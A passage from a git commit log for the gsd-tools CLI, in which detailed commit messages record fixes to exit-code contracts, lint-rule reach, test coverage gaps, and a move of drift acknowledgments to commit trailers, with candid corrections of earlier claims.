                           commits; it does not assert the 19 children are
                           covered. 17 of 19 have a test citing their number;
                           #3364 and #3812 have none - a text match, not proof
                           the behavior is uncovered, but not evidence it is
                           covered either

The third status value is not a euphemism for done. It names precisely where this
epic's own thesis - make the wrong call site unrepresentable - is NOT yet
achieved. §8.3 and §8.5 are the thinnest: nothing today stops a twelfth inline
slug copy or a second silent swallow.

Also corrects a claim this ADR made three days ago and #3977 has since overtaken.
The ledger amendment concluded #3426/#3239 "need new detectors". The measurement
behind that was right - the glob widening structurally could not reach them - but
the prescription was not the best available: #3977 rerouted the test's parsers
onto the ADR-2143 seam, so there is no ad-hoc parse left for a detector to find.
Removing the violation beat teaching the rule to see it. Both issues are CLOSED;
the roster row and the amendment now say so, and say why the earlier conclusion
should not be built on.

Closes #3984

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-28 08:20:58 -04:00
Tom Boucher
d24e22b156 enhance(#3912): gsd-tools declares outcomes, pinned at v1 (#3983)
* enhance(#3912): gsd-tools declares outcomes, pinned at v1

ADR-3889 §4. Phase 6 already moved error()'s terminator onto the seam, so what
remained was the declaration — and the pin that makes it invisible today.

The census corrected two documented figures before any code changed.
ERROR_REASON has exactly 25 members (the ADR and epic were right; an earlier
note of mine claiming 23 was wrong and is corrected). And output({error}) is
**64 sites across 9 files, not the 60 ADR-2980 ratified** — the module shape
holds but the total drifted +4: frontmatter 7 not 6, phase 4 not 2, roadmap 3
not 2. That matters because this phase's criterion demands the pin be asserted
over the enumerated population rather than sampled; asserting over a stale 60
would leave four sites unpinned while claiming full coverage, which is the
shape of failure this epic exists to remove.

The issue does not state the fact that shapes the design: output() never
touches the exit code. Confirmed by reading it — it writes fd 1 and returns.
So a declared outcome for those 64 sites had nowhere to be READ. The mapping
was never the work; wiring somewhere for the declaration to land was.

The seam already existed twice over. cli-exit.cts holds two globalThis-Symbol
cells, each because the module is emitted to three locations and a module-level
`let` would let instances disagree, and runMain already maps a code returned by
main(). A third cell inherits that solution. output() records DEGRADED for any
{error} payload — key-order agnostic, which is exactly why the "42 sites"
figure undercounts — and runMain projects the cell only when main() returns
nothing, so an explicit return still wins.

error() maps its reason through a table over the closed 25-member enum, leaving
all 278 call sites untouched; 226 of them pass no reason at all. The version
gate lives in error(), NOT in projectOutcome: registered names are
version-invariant there, so mapping a reason straight through would make USAGE
project to 64 under v1 and break the pin on its first line. projectOutcome is
left exactly as Phase 2 shipped it, DEGRADED's 0/80 asymmetry included.

Proven rather than asserted. v1 is byte-identical across three real CLI paths —
config-get plain, config-get --json-errors, and an output({error}) path —
matching exit code and exact bytes against the pre-change build. Under
GSD_EXIT_CONTRACT=v2 the same commands now exit 66 (CONFIG_KEY_NOT_FOUND ->
NO_INPUT) and 80 (DEGRADED), both looked up through the registry. An
anti-vacuity test pins that v1 and v2 genuinely differ for at least one reason,
because without it a mapping where everything projects to 1 under both versions
would satisfy every other assertion and the declaration would be theatre.

A1 iterates all 25 enum members and A3 asserts over the measured 64-site
population, so a 26th reason or a 65th site fails until it is given a mapping —
the drift guard this phase needs, given ADR-2980's own count had drifted +4
unnoticed.

Verification runs on the remote runner.

Refs #3912

* fix(#3912): the outcome cell must never lower an exit code

The remote run caught a fail-open that this phase introduced, in the phase
whose entire purpose is removing fail-opens.

`state validate --strict` on a missing STATE.md exited **0** where it must exit
1. Mechanism: `runMain` projected the pending outcome whenever `main()` returned
void, and under v1 DEGRADED projects to 0 — so a `process.exitCode` already set
non-zero by the command was clobbered down to success. Confirmed live against a
fixture, before and after.

This refutes a review conclusion recorded earlier in this phase, that the cell
was "fail-closed and can never mask a failure as success". It could, and did.
Recording that plainly so the assumption is not repeated: the cell's danger was
never only that it might add a failure — it was that projecting it
unconditionally overwrites whatever decision came before.

Projection is now guarded: it may set a code only when none is set, and an
already-non-zero exit code always wins. The full precedence — explicit `main()`
return, then an existing non-zero exitCode, then the declared outcome — is
written at the projection site. A regression test drives a void return with a
pre-set non-zero code and a pending DEGRADED, and fails against the pre-fix
build.

The second failure was my test encoding the wrong contract, not a code defect.
It asserted `output({found:false, error: undefined})` records DEGRADED because
the KEY is present. `JSON.stringify` drops undefined, so the payload the user
receives is `{"found":false}` — carrying no error at all, and calling that
degraded would hand back exit 80 under v2 for output that reads as clean. The
discriminator is a serializable error VALUE, not key presence. The test now
pins `{error: undefined}` as explicitly NOT degraded, and the design doc's
wording is tightened to match.

Verification runs on the remote runner.

Refs #3912

* docs(#3912): the versioned exit contract, and a flag defect the docs found

Diataxis pass for Phase 8, plus a real fix that only surfaced because writing
the how-to meant running its own examples.

The docs. ADR-2980's "Revisit if" clause asked for exactly the versioned
projection this phase provides, so it gets an amendment naming #3912 /
ADR-3889 section 4 as that boundary: v1 stays 0 byte-for-byte, v2 projects
DEGRADED to 80. The amendment also records the count drift rather than
restating a stale figure — the ADR ratified 60 output({error}) sites in 9
modules; the AST-measured population is 64 across the same 9 (frontmatter 7
not 6, phase 4 not 2, roadmap 3 not 2). The pin is asserted over the
enumerated 64. json-errors.md gains the outcome-declaration reference,
including the precedence order a review pass got wrong and the suite refuted:
an explicit main() return, then an already-set non-zero process.exitCode, then
the declared outcome. Projection may only ever set a code, never lower one.

A how-to is owed here and is written, not skipped. Under v1 nothing changes,
so the audience is an operator opting into v2 and needing to know what the
codes mean for a CI gate — a migration, which is how-to shaped. It covers
turning v2 on, the code table, why 80 is "ran and reported a condition" rather
than a crash, and how to split a gate that treats any non-zero as fatal. No
tutorial: there is no new entry point to learn, and under the default contract
a reader would be walked through observing nothing.

The defect. Running the how-to's own Step 1 example returned

    $ gsd-tools --exit-contract=v2 state validate --strict
    Error: Unknown command: --exit-contract=v2          (exit 64)

while the same flag trailing the subcommand worked and exited 80. The flag
half-worked, by argv position. resolveContractVersion scans argv
non-destructively, so the token survived into the dispatcher, which treats
argv[2] as the command name. --json-errors had already solved precisely this
at gsd-tools.cjs:4455, under a comment naming the hazard verbatim: "The argv
splice must happen here too, otherwise the dispatcher below sees
--json-errors as an unknown command." The later flag never got the same
treatment.

Fixed rather than documented around: the version is resolved first — which
memoizes the cell and makes an invalid value throw early — and then every
--exit-contract= token is spliced out of the dispatcher's argv copy.
--exit-contract is now listed in TOP_LEVEL_USAGE, where it never was. The
regression test pins leading position, trailing position, agreement between
the two, and a loud failure on v3 rather than a silent fall back to v1.

Neither review engine would have caught this: the defect is invisible in the
diff, because the diff does not touch argv handling. It surfaced only from
running the documentation's own example. Writing a how-to is an execution pass.

Verification runs on the remote runner.

Refs #3912

* fix(#3912): the flag splice has to run before the run-with-timeout return

An isolated review of the previous commit found that the fix did not deliver
what it claimed, and that two of its own tests were weak. All three findings
reproduced by execution before any change was made.

The fix was placed below a return. main() intercepts `run-with-timeout` at
gsd-tools.cjs:4436 and returns from there — above both the --json-errors block
and the --exit-contract splice added in the previous commit. So the flag still
died in leading position for that one command:

    $ gsd-tools --exit-contract=v2 run-with-timeout 5 -- node -e "..."
    Error: Unknown command: run-with-timeout        (exit 64, child never ran)

The previous commit message and the test's describe-block both claimed
position-independence unconditionally. That was an overclaim, not a gap left
open, and it is the part worth naming: the fix was verified by hand on the
commands I happened to think of, and `run-with-timeout` returns before the
code I was verifying.

Both global-flag blocks now run above the interception, with a comment naming
it so a later edit cannot slide them back down. Moving --json-errors up fixes
the identical pre-existing bug for that flag, verified failing beforehand
(exit 1, sdk_unknown_command). Fixing the sibling is deliberate: same defect,
same block, and a known-broken twin next to a fixed one is not a resting state.

Two tests were not pulling their weight. The invalid-value test was vacuous —
it passed against the pre-fix build, because `--exit-contract=v3` already
exited 1 there and already printed the resolve error lazily through
error() -> getContractVersion. Both its assertions held before the fix, so it
pinned nothing. The real discriminator is that the pre-fix build emits BOTH
"Unknown command: --exit-contract=v3" and the resolve error, while the fixed
build emits only the latter; the test now asserts that absence.

The leading-position and leading==trailing tests asserted proxies — "not 64",
"no Unknown command", "the two agree" — none of which pin a value, and all of
which would survive both positions being identically broken. With a .planning
directory and no STATE.md, state-snapshot exits exactly 80 under v2 and 0
under v1 in both positions. Those numbers are pinned now. The multi-token case
the descending splice loop exists for is covered too, and run-with-timeout has
regression tests for both flags.

The lesson is narrower than "test more". Hand-verifying the production
behavior does not verify that the test would have caught its absence. The
pre-fix binary has to be run against the test's own assertions.

Investigated and deliberately not changed: splicing before --cwd parsing
degrades one diagnostic from "Missing value for --cwd" to "Invalid --cwd:
<path>", but that is pre-existing — verified on the pre-fix build via
--json-errors, which already did it. This change joins the pattern rather than
creating it, and both forms exit 64 on malformed input either way.

Verification runs on the remote runner.

Refs #3912

* chore(#3912): backfill changeset pr numbers to 3983

* test(#3912): pin the reason-table invariant as set equality, not a count

A graph-backed review flagged the unchecked lookup in
expectedErrorCode3912. Investigated by execution: the drift guard DOES
hold — for an unmapped reason under v2 the production error() yields 1
while the table yields undefined, so the assertion fails. Not a
correctness defect, and deliberately NOT made tolerant, since a tolerant
lookup would destroy the guard.

Two real problems remained. The guard asserted the wrong invariant: it
counted the TABLE's keys at 25 rather than checking they match the
ENUM's values, so a renamed member keeps the count at 25 and slips past,
and a 26th member leaves the table at 25 and slips past too. Both were
then caught only indirectly, by an undefined mismatch producing 'must
exit undefined'. It is now a sorted set equality, so the failure names
the specific missing or extra reason.

And the comment above it described a '?? FAIL' fallback that does not
exist anywhere in the function. It now states what the code actually
does, verified by running it rather than by reading it.

Refs #3912

---------

Co-authored-by: sim <sim@local>
2026-08-28 08:09:05 -04:00
Tom Boucher
355c943b08 enhance(#3626): make CONTEXT.md seam claims checkable via a SEAM.*.enforced-by gate (#3975)
* feat(#3626): make CONTEXT.md seam claims checkable via SEAM.*.enforced-by gate

Adds SEAM.<id>.owns / SEAM.<id>.enforced-by=lint-rule:<name>|test:<path>
predicates to CONTEXT.md, generalizing the existing WORKTREE.SEAM.* shape,
plus scripts/lint-seam-enforcement.cjs (wired into lint:ci) which fails
when a declared single-owner seam names no existing, registered
enforcement mechanism. Backs all six current module-level single-seam/
single-canonical-owner claims found in CONTEXT.md, including the Shell
Command Projection Module's Windows-binary-resolution claim via #3619's
local/no-private-binary-resolution rule.

Scope is resolves-only per maintainer decision: the gate proves an
enforcement pointer exists and is registered, not that its surface
covers every file the seam claims. See docs/adr/3626-context-md-seam-claim-gate.md.

Closes #3626

* fix(#3626): back the Package Identity Module's seam claim too

Isolated adversarial review caught a miss in the "no grandfather list"
sweep: the Package Identity Module also declares itself "Single seam
owning GSD's published-package coordinates" and already names its real
enforcement (scripts/lint-package-identity-drift.cjs). Backs it with
SEAM.package-identity.owns/enforced-by=test:tests/package-identity.test.cjs,
bringing the total to 7 backed seams. Also makes explicit, in the design
doc and ADR, that function-level "single owner" sentences inside
already-covered modules (STATE.md Document Module, etc.) are deliberately
out of scope — a seam claim is about a module's boundary, not every
function inside it.

* docs(#3626): backfill changeset PR number

---------

Co-authored-by: sim <sim@local>
2026-08-28 08:06:41 -04:00
Tom Boucher
15af0f5536 enhance(#3951): B6+B7 — widen two unreachable lint rules and make the guard ledger true (#3965)
* fix(#3951): two lint rules that could not reach the code they govern

B6 names two widenings. Measuring them first turned up a defect the criterion did
not know about, and refuted the reason it gave for one of them.

1. no-adhoc-markdown-parsing self-gates on its own filename.

   Lines 107-110 short-circuit create() to {} unless the path matches
   /(?:^|\/)src\/[^/]+\.cts$/. B6 says to widen the files: glob in
   eslint.config.mjs - but doing only that ships an INERT rule, because the gate
   still returns {} for every new path. Both halves have to change, and the gate
   is the load-bearing one.

   That same regex hides a live hole: [^/]+ is FLAT-ONLY, so it requires the file
   to sit directly in src/. The registered glob is src/**/*.cts, which includes
   subdirectories. 28 .cts files - health-diagnostic-rules/ (10),
   installer-migrations/ (11), observability/ (3), host-integration-adapters/ (2),
   vendor/ (2) - are inside the registered glob and silently skipped.

   Measured with the gate neutralized: 0 violations there today. The hole is
   hiding nothing right now, and is fixed anyway, because "no violations today" is
   not a property that keeps holding.

   The fix is not invented: require-subprocess-timeout.cjs:196 already carries the
   correct form of this guard, /(?:^|\/)src\/.*\.cts$/ with .*, one directory over.
   Checked the other 21 rules for the same bug - no-adhoc-regex-escape and
   no-private-binary-resolution short-circuit only to exempt their own seam file,
   which is the right shape, and no-crlf-fragile-split has no filename gate at
   all. This bug is unique to the one rule.

2. no-adhoc-regex-escape could not see the shape that actually occurs.

   Line 396 gated the whole UNSAFE-NEW-REGEXP arm on arg.type === 'Identifier'.
   Every check below it - the _SOURCE provenance check, the
   isSoleReturnOfOwnParameter shape - lives inside that branch, so
   new RegExp(obj['key']) and new RegExp(cfg.pattern) were never examined at all.
   Runtime data arrives as a property access far more often than as a bare
   identifier, which is exactly why this rule never fired on the #3477 ReDoS.

   Widened to MemberExpression, measured by AST walk across all five registered
   blocks rather than by grep. 27 sites, zero TSAsExpression:

     18  safe new RegExp(X.source, flags)  -> exempted, keyed strictly on the
         PROPERTY being `source`, never on the object. Keying on the object would
         wave through X.anything and buy nothing. B6 estimated ~10; that was an
         undercount.
      3  _SOURCE-suffixed constants reached through a required module namespace
         (phaseId.BRACKET_PHASE_TOKEN_SOURCE) -> the same provenance-exempt class
         the rule already recognizes for bare identifiers, extended to reach them.
         Without this the widening produces 3 false flags.
      6  real findings -> marked, each a test extracting a pattern from a shipped
         file at test time, where the runtime contract IS the product.

   Deliberately the NARROW MemberExpression form. The rule's own
   isSoleReturnOfOwnParameter doc comment records that an earlier broad
   "any non-literal identifier" heuristic produced ~25 false positives and was
   rejected; a re-run of the census after this change flags exactly the 6 above
   and nothing else.

Verified by execution, not by reading: the gate now accepts src/<subdir>/x.cts,
still accepts flat src/x.cts, and still exempts paths outside src/ - each pinned
by a test proven to fail against the old regex. build:lib, lint and lint:ci all
exit 0.

Refs #3951

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3951): give no-adhoc-markdown-parsing its reach, and fix the 80 parses it finds

The rule self-gates on filename AND is registered on one glob, so widening either
half alone is inert. Both move here: the gate now accepts tests/**/*.cjs and
scripts/**/*.cjs alongside src/**/*.cts, and eslint.config.mjs registers it on the
same two.

A test pins that the gate and the registration AGREE, in both directions. The
original defect was a gate narrower than its registration; the failure mode of
this fix is a gate wider than its registration. Both are silent, so the test
asserts the pair rather than either half.

80 violations across 43 files, all in tests/, zero in scripts/. 70 are routed
through the existing seams - scanFencedBlocks, collectSection, stripFencedCode,
tokenizeHeadings from markdown-sectionizer; splitTableRow, parseMarkdownTable,
findTableWithColumns from markdown-table. Headerless STATE.md tables use
splitTableRow per line, because parseMarkdownTable needs a real delimiter row.

10 are suppressed, 12.5%, well under the third that would have meant the rule is
mis-scoped for tests/ rather than the tests carrying debt. Each names its reason:
three regression guards (#3873 / bug-#21) are deliberately independent of the
generator's own fence handling, and routing them through the seam would have them
test the generator against itself; one is a negative-text probe that extracts
nothing; six are a shell-pipe-to-jq detector whose regex coincidentally matches the
table fingerprint and is not markdown parsing at all.

All ten sit in tests whose subject is .md content, which is normally a reason to
prefer the seam. The marker used is allow-adhoc-markdown, distinct from
no-source-grep's allow-test-rule, and lint:ci's lint-allow-test-rule-refs reports
the same 280/280 unverified count as before - checked rather than assumed, because
those two markers are easy to conflate.

The widening earned its keep immediately: it found a test that passed for the
wrong reason.

  tests/config-field-docs.test.cjs asserted notEqual(<cell>, '600') against the
  TYPE column instead of the DEFAULT column. notEqual('number', '600') is true
  forever, so the guard against workflow.subagent_timeout regressing to the old
  seconds default could never fire. docs/CONFIGURATION.md:434 is
  `| workflow.subagent_timeout | number | 300000 | ... |`, so the default is cell
  index 2; the assertion is now row-scoped through splitTableRow and reads 300000.

That is the argument for the widening in one case: the violation was invisible to
lint, the suite was green, and the assertion was vacuous. A rule that cannot reach
a file cannot tell you the file is lying.

Not fixed here, and recorded rather than assumed: #3426/#3239 are NOT reachable by
this widening. tests/package-legitimacy-gate.test.cjs yields zero violations even
with the gate bypassed - its hand-rolled scans are real, but built from line
filters and split('|') rather than the regex-literal fingerprints this rule
detects. They need new detectors. The epic assumed a wider glob would catch them.

build:lib, lint and lint:ci all exit 0; the post-fix census across tests/** and
scripts/** is 0 violations.

Refs #3951

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3951): B7 — and #3356's defects were still live in the code

B7 asks that each closed child be driven fail-first with a behavioral identity
test at the CONSUMER's output. Four of eleven children had no test citing their
issue number. Auditing them by BEHAVIOR rather than by number-grep changed the
answer for three of the four.

#3364 and #2540 — traceability only. Both were implemented by #3941 and their
consumer-output tests exist and were shown failing-first; neither cited its
originating issue, so an audit that greps for the number reports them uncovered.
Tagged the specific asserting test in each file, following the citation form those
files already use.

#3372 — covered, but only at helper level, and the triage narrowed it. Of the four
commands the issue names, only estimate-cli's collectCalibrationSamples actually
enumerates phase dirs from disk; smart-entry, audit and roadmap-upgrade derive from
ROADMAP/body text and never reach the sentinel path, so they are benign by
construction and were left alone rather than "fixed" into churn. The existing #3882
rows asserted the helper's return value. Added a consumer-output test driving
`query estimate-calibrate` and asserting sample_count and the persisted document.
RED proof: reverted collectCalibrationSamples to a raw readdirSync and ran the real
CLI - sample_count 3, sentinel leaked; restored - sample_count 2.

#3356 — NOT covered, and BOTH halves of the defect were still live in source. The
issue is closed; the bug was not fixed. Fixed here rather than writing tests that
document a bug as correct.

  Defect 1, the contradicted row. quick.md:627 claimed
  `quick-tasks-append` performs "the equivalent write" to the Step 7c row. It did
  not: the `#` cell was a positional ordinal and `Directory` read `—`, because the
  route had no way to receive a quick id or task directory. Added OPTIONAL
  `--quick-id` / `--slug` / `--directory`. A caller with neither - fast.md, the
  original #2133 caller - omits them and gets the byte-identical prior row, so
  nothing existing changes. A caller that HAS a real id and directory now gets the
  canonical row quick.md:632 renders. The false-equivalence sentence itself is
  corrected rather than left to mislead the next reader.

  Defect 2, the forced re-derive. The route called readModifyWriteStateMd with no
  options, so a body-only append to the Quick Tasks table triggered a full
  re-derive of the disk-derived progress.* frontmatter. Every other body-only
  writer passes { resync: false } - src/state.cts's own docstring prescribes it -
  and this route was the lone outlier. RED proof: reverted the option, seeded a
  project with 2 real phase dirs and a curated total_phases of 25, ran
  quick-tasks-append; total_phases collapsed to 2. Restored; it stayed 25.

That second one is the shape this epic exists to close: a silent write that
replaces curated state with a re-derivation nobody asked for, exit 0 throughout.

build:lib, lint and lint:ci all exit 0.

Refs #3951

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#3951): amend B6's ledger to what was measured, and document the new flags

The ADR gains a ledger amendment in its own correction style - the sixth wrong
premise it records, found the same way as the other five, by measuring before
building.

B6 says the net guard count must fall. It rose: 62 -> 69, +7, measured from the
epic's filing commit to origin/next. The attribution is the point, though. Five of
the seven came from PRs unrelated to this epic, one was added by a phase of it, and
the epic did retire something sub-file - #3884 removed a detector with an explicit
"net: -1 detector, 0 added" ledger. Every named casualty is load-bearing, two
already carry retractions in this same document, and a sweep of all 22 rules plus
every scripts/lint-* found no provably dead guard. There is no honest way to make
the count fall; forcing it would trade coverage for a number, which is the Goodhart
outcome Decision 6 exists to prevent.

The amendment also records that B6's own prescribed fix for one widening was inert.
no-adhoc-markdown-parsing self-gates on its filename, so widening only the files:
glob - which is what the criterion says to do - ships a rule that still returns {}
for every new path. And #3426/#3239 are not reachable by that widening at all;
their scans use line filters and split('|'), not the regex fingerprints the rule
detects. The roster row tracked them against the wrong mechanism.

Three roster rows updated from aspiration to fact: the two widenings are DONE with
their measured counts, and lint-phase-enumeration-drift is marked RETAINED rather
than "expected casualty - verify before retiring", because Phase 5 verified it and
kept it.

The rule Decision 6 should carry forward is stated plainly: a guard ledger is a
claim about COVERAGE, not about COUNT. "Net count must fall" is measurable and
wrong. "Every guard is reachable, and each retirement names what makes its defect
unrepresentable" is the property that was actually wanted.

CLI-TOOLS.md documents the optional --quick-id/--slug/--directory flags and says
plainly that omitting them keeps the pre-#3356 row byte-identical, plus that the
append no longer re-derives progress frontmatter.

New features fragment (id 3951); FEATURES.md regenerated rather than hand-edited.
Changeset is Changed, pr:0 pending backfill.

Refs #3951

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* test(#3951): correct four rows that pinned the lint rule's old narrow reach

The remote suite came back RED with 5 failures, all in tests/eslint-rules.test.cjs.
They are stale tests, not a regression: four rows assert that
no-adhoc-markdown-parsing is inert outside src/*.cts, which is exactly the
contract this deliverable changes.

Confirmed by reading rather than inferred from the names - the row at :1981 used
filename: 'tests/some.test.cjs' and filename: 'scripts/helper.cjs', the two roots
the rule now covers on purpose.

Worth recording WHY local gates missed this. npm run lint and lint:ci were green,
and the touched test files passed standalone. Lint only reports violations in real
files; these rows assert the rule's REACH using synthetic RuleTester filenames, so
nothing but the full suite could see them. Local green on a rule change says
nothing about the rule's own tests.

Each row is rewritten with BOTH halves rather than flipped from valid to invalid:

  - the same fingerprint under tests/ or scripts/ is now flagged, with the right
    messageId
  - the negative space is preserved - the same fingerprint under a path outside
    all three roots (gsd-core/bin/lib/foo.cjs) is still NOT flagged

The second half is the one that matters. Without it the rule has no boundary and
nothing would catch an over-wide gate later, which is the mirror image of the bug
this deliverable just fixed.

Each row is renamed to state the current contract; the old names said
"non-src/*.cts ... is not flagged" and would have been actively misleading once
the bodies changed.

Proven to test the widening rather than restate it: every flagged half was run
against HEAD~2's pre-widening rule and does NOT fire there, then against the
current rule and does. 12/12 on that probe; the full file is 178/178.

Swept for the same staleness elsewhere and found none.
require-subprocess-timeout's own "inert outside src/*.cts" row is untouched -
that rule's gate was not widened here - and no-adhoc-regex-escape's test file
already carries correctly-targeted rows.

Refs #3951

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* test(#3951): acknowledge the quick.md growth the attribution guard reported

The full suite came back RED with one failure, and it is mine:

  1 file(s) grew without an acknowledgment:
    quick.md grew 364 bytes

gsd-core/workflows/quick.md is runtime-loaded emitted content, so correcting
its false 'performs the equivalent write' claim trips emitted-attribution by
construction. This is the acknowledgment, not a workaround - there is nothing
to regenerate.

The fragment names ONE path, which is the only one the guard reported. The four
spent acknowledgments it also listed (audit-uat, plan-phase, progress, review)
belong to other fragments whose ripple the base already absorbs; they are inert,
not failures, and are deliberately NOT copied here - naming paths I did not
change would make this record false in the other direction.

Byte figure corrected before committing: the guard reported 37220 -> 37584
(+364), but origin/next has since moved and quick.md is 37232 there now, so the
measured delta is +352. The reason text says so and names the base as a moving
figure rather than pinning a number that is already stale.

Refs #3951

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* test(#3951): move the quick.md growth ack to a trailer, delete the obsolete fragment

The acknowledgment mechanism changed under this branch. Merging next brought in
the redesign - it also deleted .github/workflows/ack-fragment-sweep.yml, which
was in the merge status and which I did not register at the time - and the guard
now says so directly:

  Add a trailer to a commit in this PR (never a new file).
    Emitted-Drift-Ack-Growth: quick.md - <why this growth is deliberate>

So tests/emitted-drift-acks/3951-quick-append-equivalence.json is obsolete on
arrival. A fragment file is no longer read by anything, and leaving it would be a
dead record that looks like an active one. It is deleted here rather than kept
"just in case".

The byte figure moved again with the merge: 37232 -> 37596, +364. The earlier
fragment said +352, measured before the merge auto-merged quick.md itself. The
trailer carries no number, which is the better design - the figure was stale
twice in two attempts.

Refs #3951

Emitted-Drift-Ack-Growth: quick.md — #3356/#3951 replaces a false claim with an accurate one. Line 627 said the `quick-tasks-append` shortcut "performs the equivalent write" to the Step 7c row rendered above it; it did not, and that was the documented half of #3356 — with no quick id or task directory the route emitted a positional ordinal in `#` and an em-dash in `Directory`, a visibly different row. The corrected sentence has to carry three facts the original elided: what the shortcut actually writes when it has neither input, that this is honest behavior for its real caller (`fast.md`, which has neither), and how a caller with both now gets the byte-identical canonical row via the new optional `--quick-id`/`--slug`/`--directory` flags. Prose is the product here — an executing agent reads this line to decide whether the shortcut is safe for its case, and a shorter correction would either drop the flags (leaving the reader unable to act on the fix) or drop the limitation (recreating the false claim in gentler words).
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#3951): backfill changeset pr number

Refs #3951

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-27 23:10:49 -04:00
Tom Boucher
fa41bfec5c enhance(#3942): the emitted-drift ack is PR-lifetime data — move it to a commit trailer (#3954)
* test(#3942): failing-first suite for the emitted-drift ack commit trailer

Binds 37 input classes from the phase test matrix to the behavior ADR-3942
specifies, before any of it exists. Stubs return benign empty values rather
than throwing, deliberately: several rows assert that something DOES throw
(cap overflow, uncomputable commit range), and a throwing stub would turn
those green for the wrong reason and destroy the red.

The two rows that carry the design's load:

- merge-base semantics. The range is $(git merge-base base HEAD)..HEAD, not
  base..HEAD, because changedPaths comes from `git diff base...HEAD` (three
  dot). Two-dot would let the ack set and the change set disagree about which
  commits are this PR's. The fixture forks a topic branch, puts a trailer on
  each side, and asserts only the topic-side trailer is in range.

- fail-closed on an uncomputable range. With fragments a depth-1 checkout
  passes VACUOUSLY, every fragment reading as brand-new. With trailers the
  range cannot be computed at all, and returning an empty set would silently
  disarm the gate, so it must throw. The fixture builds a genuine shallow
  clone rather than simulating one.

Also covers the self-inflicted case: this change's own documentation quotes
the trailer syntax, so an example landing at the end of a commit message would
arm a live acknowledgment keyed on the literal placeholder text. Keys carrying
angle brackets or whitespace are rejected.

Authored per the phase artifacts 40-design.md and 50-test-matrix.md.
Not yet run on the remote runner — this commit exists to be tested.

Refs #3942

* chore(#3942): move the emitted-drift ack to a commit trailer

Implements ADR-3942, superseding ADR-2719 section 3 and its #2789 amendment.
Sections 1, 2 and 4-7 are retained: the conservation law is unchanged, only the
storage of its escape hatch moved off the working tree.

An acknowledgment explains one PR's ripple, and the moment that PR merges the
ripple is in the base, so it can never clear anything again. It was stored in
permanent shared state anyway, and every consequence of that mismatch had to be
built and then maintained. The chain is #2789 -> #2914 -> #3078 -> #3842 ->
#3823 -> #3875, each fix generating the next defect, ending in a scheduled
sweeper whose own first PR could not merge itself.

Added
  parseAckTrailers + renderAckTrailer (pure) and readAckTrailers (IO shell),
  reading Emitted-Drift-Ack-Hash: / Emitted-Drift-Ack-Growth: trailers over
  the merge-base range. tests/emitted-ack-trailer.test.cjs, 37 cases, written
  failing-first and confirmed red before any of this existed.

Changed
  diffEmitted takes two structurally distinct key-space maps instead of one
  shared paths map. That closes a latent defect: the spaces were separated by
  convention only, so a growth key satisfied a hash lookup by naming
  coincidence. staleAcks now reports which space a key was declared in.
  REMEDIATION teaches the trailer, per space, with its example rendered through
  renderAckTrailer so the taught grammar cannot drift from what the parser
  accepts.

Removed
  the sweep workflow, the guard-no-ack-on-next job, the standalone linter and
  its lint:ci entry, the fragment directory and its three spent fragments, the
  legacy single-file union, and the baseAck/spentAcks mechanism -- spentness is
  now structural, not computed.

Two range properties carry the design and are pinned by tests rather than
asserted: the range is merge-base scoped, matching git diff base...HEAD, so an
already-merged trailer is out of range by construction; and an uncomputable
range throws instead of reading as zero acknowledgments, which is the inverse
of the fragment guard's vacuous pass.

Three deliberate observable changes, each disclosed in the changeset: the
unread runtime field is gone, the legacy file is no longer read, and cross-space
excusal no longer works.

Ten open PRs carry fragments and will meet a modify/delete conflict. Measured
before landing and accepted deliberately; the one-line migration is in the PR
body.

Verified: lint:ci exit 0. Remote runner to follow on this exact sha.

Refs #3942

* fix(#3942): silent trailer collapse, lost coverage, and an unbounded cap

Six findings from the orthogonal review round, all fixed in place.

BLOCKER -- two trailers of the same name on one commit collapsed silently.
readAckTrailers built `separator=1d` where git needs `separator=%x1d`: the
`separator=` value inside a %(trailers:...) placeholder is itself a
pretty-format string, so the bare hex was emitted as two literal characters
and the split on \x1d never matched. Two same-name trailers therefore joined
into one value with errors empty -- the first reason absorbing the second
entry's key. Silent truncation, the exact class MAX_ACK_TRAILERS throws to
prevent. Confirmed with od -c against real git output before and after.

The failing-first matrix did not catch it because its "both spaces coexist"
row uses Hash plus Growth -- different trailer NAMES -- so the value separator
was never exercised. Two regression tests now cover same-name trailers
directly.

Coverage recovered: normalizeAckReason and INVISIBLE stayed on the live path
via parseAckTrailers but lost every test when the old suite was pruned. Back
under test against the current surface -- all six invisible codepoints
individually, whitespace collapse, trim, CRLF, and two seeded fast-check
properties. Dropping any single codepoint now fails.

MAX_ACK_TRAILERS counted raw trailers before de-duplication, so one trailer
carried forward across rebased commits counted once per commit and could throw
on a legitimate branch. Now counts distinct entries; 100 identical repeats
dedupe to one.

diffEmitted validated baseline, current and changedPaths but not the new
ackHash/ackGrowth, so a bad shape raised an unhandled TypeError instead of an
error verdict -- the same defect shape this file documents for #2778.

Docs: CONTRIBUTING and TESTING-SUITES were rewritten only in their first
sections; the later passages still taught fragments, git rm and the deleted
guard, contradicting the new text directly above them. Finished.

Also extends lint-removed-but-needed to exempt docs/adr and docs/research.
That gate fails on any docs mention of a file deleted in the same diff, which
makes it impossible to document a deletion in the PR performing it -- an ADR's
whole job is naming what it retired. Exemption is narrow and comes with a test
proving the gate still fires for a live consumer elsewhere under docs/. A
guard that cannot fail is worse than no guard. Maintainer-approved.

CONTEXT.md names the retired machinery by role rather than by filename: its
generated projection lands in docs/, which that gate does scan.

Adds docs/how-to/acknowledge-emitted-drift.md. The required docs set is
Reference and Explanation, so the task quadrant can be empty with every gate
green -- and this change has a real multi-step journey, including the fragment
migration ten open PRs now need.

lint:ci exit 0.

Refs #3942

* docs(#3942): correct the duplicate-trailer rule in CONTRIBUTING

Both axes of the code review independently flagged the same passage, without
seeing each other's output.

It claimed two declarations of the same key are always "a hard, loudly-reported
error, not a silent last-wins". That is only half true, and the missing half is
the one contributors hit: identical declarations -- same key, same reason --
dedupe silently, because a trailer legitimately survives a rebase and reappears
on every rebased commit. Failing there would red a branch for doing nothing
